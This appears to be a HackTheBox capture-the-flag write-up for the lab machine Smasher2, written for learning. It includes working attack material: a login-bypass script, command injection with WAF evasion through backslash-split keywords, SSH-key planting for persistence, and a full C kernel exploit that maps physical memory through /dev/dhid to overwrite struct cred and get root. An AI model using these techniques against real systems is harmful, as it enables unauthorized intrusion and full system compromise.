HTB: Smasher2 Writeup
Smasher2 - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Smasher2 |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.198 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Smasher2 is a machine built around chained logic bugs rather than a single named CVE: a DNS zone transfer discloses a vhost, a Basic-Auth-protected /backup directory leaks the Flask application source (auth.py) alongside a compiled Python C-extension (ses.so), and reverse engineering that shared object uncovers a one-index reversal bug in its login-comparison logic. That bug allows an authentication bypass which yields an internal API key, which in turn drives an unauthenticated command-injection endpoint (guarded by a naive mod_security-style WAF that is trivially defeated with backslash-split keywords). Foothold as a low-privileged application user is escalated to root through a vulnerable out-of-tree kernel module (dhid.ko) whose mmap handler maps raw physical memory into userspace without bounds validation, letting an attacker scan physical RAM for their own struct cred and zero out the UID/GID fields directly.
TL;DR: DNS AXFR leaks vhost → /backup leaks auth.py + ses.so → reversing ses.so finds get_internal_pwd() compares against index 0 (username) instead of 1 (password) → Administrator:Administrator bypasses auth → API key unlocks /api/<key>/job command injection (WAF bypassed via backslash-split keywords) → SSH key planted for dzonerzy → /dev/dhid world-writable char device with unchecked mmap() handler maps physical RAM → scan for struct cred (8 consecutive UID dwords) → zero it out → root.
Reconnaissance
Port Scanning
# Standard TCP scan against the targetnmap -Pn -sC -sV -p22,53,80,443,8080 10.129.65.198Results: Open ports were 22 (SSH), 53 (DNS), and 80 (Apache/HTTP). No web server was found on 443/8080 for this spawn.
Service Enumeration
With DNS exposed, a zone transfer was attempted against the box using the box-name-derived domain:
# Attempt a zone transfer (AXFR) — misconfigured authoritative DNS servers# will hand over the entire zone file to anyone who asksdig axfr smasher2.htb @10.129.65.198This returned a PTR/A record for wonderfulsessionmanager.smasher2.htb — a vhost that was not otherwise discoverable through the web root. Both smasher2.htb and wonderfulsessionmanager.smasher2.htb were added as Host headers for subsequent enumeration:
# Probe both vhosts with the discovered Host headerscurl -s -H "Host: smasher2.htb" http://10.129.65.198/curl -s -H "Host: wonderfulsessionmanager.smasher2.htb" http://10.129.65.198/wonderfulsessionmanager.smasher2.htb served a session-manager login page backed by a Werkzeug/Flask application. On smasher2.htb, a /backup directory was reachable — on this spawn it was not protected by Basic Auth (no credential brute-force via hydra was required), and it directly listed the application’s backend source:
# Pull the leaked backend source and its compiled extension modulemkdir -p /tmp/sm2 && cd /tmp/sm2curl -s -H "Host: smasher2.htb" -o auth.py http://10.129.65.198/backup/auth.pycurl -s -H "Host: smasher2.htb" -o ses.so http://10.129.65.198/backup/ses.soVulnerability Assessment
- Information disclosure via DNS AXFR — misconfigured zone transfer leaked an otherwise-unknown vhost.
- Source disclosure via
/backup—auth.py(Flask login handler) andses.so(a compiled CPython extension implementingSessionManager) were both retrievable. auth.pyshowed that/authbuilds aSessionManager(login, craft_secure_token(...))object and callsmanager.check_login(data); the real comparison logic lives inside the compiledses.so, not in Python — meaning the actual bug had to be found through reverse engineering, not source review alone./api/<key>/jobexecutes attacker-controlledschedulevalues viasubprocess.check_output(['bash','-c', data['schedule']])— a straightforward OS command injection once a valid API key is obtained.
Initial Foothold
Reversing ses.so
ses.so is a compiled CPython C-extension, so it was disassembled directly rather than decompiled as Python bytecode:
# Enumerate exported/internal symbols and strings firstnm -D ses.so | head -40nm ses.so | grep -i " t "strings -n 4 ses.so | head -80
# Disassemble the login comparison routineobjdump -d --start-address=0x1ff5 --stop-address=0x2529 -M intel ses.soobjdump -d --start-address=0x1de8 --stop-address=0x1ff5 -M intel ses.soThe disassembly of check_login() showed it calling two helper functions, get_internal_usr() and get_internal_pwd(), to fetch the values it compares the submitted credentials against. Both helpers ultimately reduce to the same PyList_GetItem() call pattern against the internal user_login list — and critically, get_internal_pwd() calls PyList_GetItem(user_login, 0) (index 0, the username slot) instead of index 1 (the password slot). This is a classic off-by-one/index-swap logic bug: the function that is supposed to fetch the stored password actually fetches the stored username again.
The practical consequence: the server never validates the submitted password against the real stored password at all — it validates the submitted password against the username. So submitting a login where password == username (for any username that exists as an internal manager) authenticates successfully, provided the username itself is correct.
# auth.py check (verified via captured traffic to /auth on# wonderfulsessionmanager.smasher2.htb)import requests, json
H = {"Host": "wonderfulsessionmanager.smasher2.htb", "Content-Type": "application/json"}U = "http://10.129.65.198"
s = requests.Session()s.headers.update(H)
# Because get_internal_pwd() reads index 0 (username) instead of index 1# (password), submitting password == username bypasses the check entirely.r = s.post(f"{U}/auth", json={"data": {"username": "Administrator", "password": "Administrator"}})print(r.text)Submitting Administrator:Administrator authenticated successfully and /auth returned the internal API key:
fe61e023b3c64d75b3965a5...64f8This was the intended primary exploitation path for this session — the alternate technique described in the public writeup (leaking secret_token_info off the heap via reference-count exhaustion after ~10 failed logins, since the “data” object’s refcount drops to zero and the adjacent secret_token_info list gets reused/exposed at the same heap address) was not required here because the index-swap bypass worked directly. It was also confirmed that supplying non-string values for username crashes the Flask worker with a segfault, though the app auto-restarts and this path wasn’t needed for exploitation.
Command Injection via /api/<key>/job
With a valid API key, POST /api/<key>/job executes the schedule field through bash -c:
# rce.py — command execution via the leaked API keyimport requests, json, base64
H = {"Host": "wonderfulsessionmanager.smasher2.htb", "Content-Type": "application/json"}U = "http://10.129.65.198"KEY = "fe61e023b3c64d75b3965a5...64f8"
def run(cmd): r = requests.post(f"{U}/api/{KEY}/job", headers=H, json={"schedule": cmd}) return r.json()Straightforward payloads such as id, curl, or base64 -d were rejected by a mod_security-style WAF sitting in front of the endpoint. The bypass used bash’s implicit string concatenation: splitting sensitive keywords across quoted fragments joined by a backslash (e.g. i\d, ba\se64 -\d) reconstructs the original command at shell-parse time while the WAF only ever sees the fragmented, non-matching tokens:
# The WAF signature-matches on whole keywords like "base64" or "id".# Splitting the keyword with a backslash inside adjacent quoted strings# defeats naive pattern matching while bash still concatenates and# executes the reassembled command.ec\ho 'BASE64_PAYLOAD_HERE' | ba\se64 -\d | bashThis was used to write an SSH public key into dzonerzy’s authorized_keys, planting persistent access:
# Payload logic (executed via the /job endpoint, WAF-evaded per above):# append an attacker-controlled pubkey to dzonerzy's authorized_keysecho '<attacker ssh pubkey>' >> /home/dzonerzy/.ssh/authorized_keys# Confirm footholdssh -i ~/.ssh/sm2key dzonerzy@10.129.65.198user.txt was retrieved from dzonerzy’s home directory:
User Flag: <redacted>Privilege Escalation
Enumeration
As dzonerzy, a world-writable custom character device was identified: /dev/dhid, backed by an out-of-tree kernel module (dhid.ko). The device permissions and the module’s registration under a non-standard major number were the key signal that this was the intended privesc vector rather than a standard SUID/sudo misconfiguration.
Kernel Module Analysis
The module was pulled to a workstation and disassembled. Its mmap file-operations handler (dev_mmap) takes the userspace-requested VMA size and offset without validating them against the physical memory the device is actually meant to expose, then calls remap_pfn_range() to map that range directly into the calling process’s address space. Because no bound is enforced beyond raw signed-integer size checks, requesting a large enough mapping (0xf0000000 bytes) starting at physical offset 0 effectively maps a large swath of physical RAM — including other processes’ and the kernel’s own in-memory structures — into userspace, readable and writable.
This is the same class of bug documented in MWR Labs’ mmap-handler exploitation research: an out-of-tree driver exposing remap_pfn_range() on attacker-controlled offset/size turns a device file into an arbitrary physical-memory read/write primitive.
Exploit: Scanning Physical RAM for struct cred
The plan is to map physical memory, scan it for eight consecutive dwords all equal to the caller’s own UID (1000) — the layout of the relevant fields at the front of the kernel’s struct cred — and zero them out, which the kernel then reads back as uid=gid=euid=egid=...=0 for that process the next time credentials are checked.
// exp.c — dhid mmap arbitrary physical-memory RW exploit#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <sys/mman.h>#include <unistd.h>
int main(int argc, char *const *argv) { int fd = open("/dev/dhid", O_RDWR); if (fd < 0) { perror("open"); return -1; }
unsigned long size = 0xf0000000; // oversized mapping — no bound enforced by dev_mmap unsigned long mmapStart = 0x42424000;
// Map raw physical memory into our address space, RW, shared unsigned int *addr = (unsigned int *)mmap((void *)mmapStart, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (addr == MAP_FAILED) { perror("mmap"); close(fd); return -1; }
unsigned int uid = getuid(); printf("[+] mmap OK addr: %p, UID: %u\n", addr, uid);
unsigned long credIt = 0; // Walk the mapped region a dword at a time looking for 8 consecutive // fields equal to our own UID — the uid/gid/euid/egid/suid/sgid/fsuid/fsgid // layout at the start of struct cred. while ((unsigned long)addr < (mmapStart + size - 0x40)) { credIt = 0; if (addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid && addr[credIt++] == uid) {
printf("[+] Found cred structure at %p\n", addr); credIt = 0; // Zero all 8 uid/gid fields -> becomes root's cred for (int i = 0; i < 8; i++) addr[credIt++] = 0;
if (getuid() == 0) { puts("[+] GOT ROOT!"); // Skip past cred to the capability words and set full caps credIt += 4; for (int i = 0; i < 10; i++) addr[credIt++] = 0xffffffff; execl("/bin/sh", "-", (char *)NULL); perror("execl failed"); } break; } addr++; } puts("[+] Scanning loop END"); return 0;}Because this box’s spawn had an environment quirk where /dev/shm contents and scp’d files vanished between separate SSH command invocations, the exploit source was piped directly into a single interactive SSH session and built/run in /tmp within that same session rather than staged across multiple connections:
# Everything below happens inside ONE ssh session so the compiled# binary and source survive between the compile and execute stepsssh dzonerzy@10.129.65.198 <<'EOF'cd /tmpcat > .e.c <<'CEOF'# ...exp.c contents piped in here...CEOFgcc .e.c -o .e./.eEOFRunning the exploit mapped physical memory at 0x42424000, located the calling process’s struct cred in the scan, zeroed the UID/GID fields, confirmed getuid() == 0, set the capability bitmask words to 0xffffffff (full capabilities), and dropped into a root shell.
# Verification inside the resulting shellid# uid=0(root) gid=1000(dzonerzy) groups=0(root),1000(dzonerzy)
cat /root/root.txtRoot Flag: <redacted>Attack Chain Summary
DNS AXFR leak (smasher2.htb) → wonderfulsessionmanager.smasher2.htb vhost discovered → /backup on smasher2.htb (no auth on this spawn) → auth.py + ses.so leaked → reverse ses.so → get_internal_pwd() reads index 0 (username) not 1 (password) → Administrator:Administrator authenticates → API key returned by /auth → POST /api/<key>/job command injection (WAF bypassed via backslash-split keywords) → SSH pubkey planted for dzonerzy → user.txt → /dev/dhid world-writable device, unchecked mmap() handler → remap_pfn_range() over physical RAM → scan mapped memory for struct cred (8x UID dwords) → zero UID/GID + set full capabilities → root shell → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
dig | DNS zone transfer (AXFR) to discover hidden vhost |
curl | Vhost/endpoint enumeration and source-file retrieval |
nm / objdump | Reverse engineering the compiled ses.so extension |
strings | Extracting readable strings from ses.so |
python3 / requests | Scripting the auth-bypass and command-injection HTTP requests |
gcc | Compiling the dhid.ko mmap exploit on-target |
ssh / ssh-keygen | Persistence and interactive access as dzonerzy |
Key Learnings
Techniques Practiced
- DNS zone transfer (AXFR) for vhost/subdomain discovery
- Source-code and compiled-extension (
.so) disassembly to find logic bugs invisible from the Python layer alone - Identifying index/off-by-one bugs in comparison logic as an authentication bypass primitive
- Basic WAF/mod_security evasion via shell string-concatenation and backslash keyword splitting
- SSH key implantation via blind command injection for persistence
- Kernel module reverse engineering to identify an unchecked
mmap()file operation - Physical memory mapping via
remap_pfn_range()abuse to locate and modifystruct credin-place for privilege escalation
Lessons Learned
- Authentication logic that lives inside a compiled native extension is not exempt from code review — it must be reverse engineered with the same rigor as source, since subtle bugs (like reading the wrong list index) are easy to miss without disassembly and hard for automated scanners to catch.
- WAFs based on literal keyword matching are trivially defeated by shell-level string concatenation; a security control that only inspects the raw string before shell parsing is not equivalent to inspecting the command that actually executes.
- Custom out-of-tree kernel modules that expose device nodes to unprivileged users are a high-value target — an unchecked
mmaphandler that doesn’t bound offset/size against the driver’s actual physical resource turns a device file into a full physical-memory read/write primitive, trivially escalating to root. - When reference counting or heap-layout side channels are described as the “intended” exploitation path, always check for simpler logic bugs first — the actual comparison-index swap here was a more direct and reliable bypass than the refcount-leak technique.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xdf — HTB: Smasher2
- HackTheBox Official Writeup — Smasher2 (MinatoTW), Document No. D19.100.41 — used for background on the
ses.soreference-counting leak technique, themmap/remap_pfn_range()kernel vulnerability class, and the MWR Labs mmap-exploitation whitepaper it cites.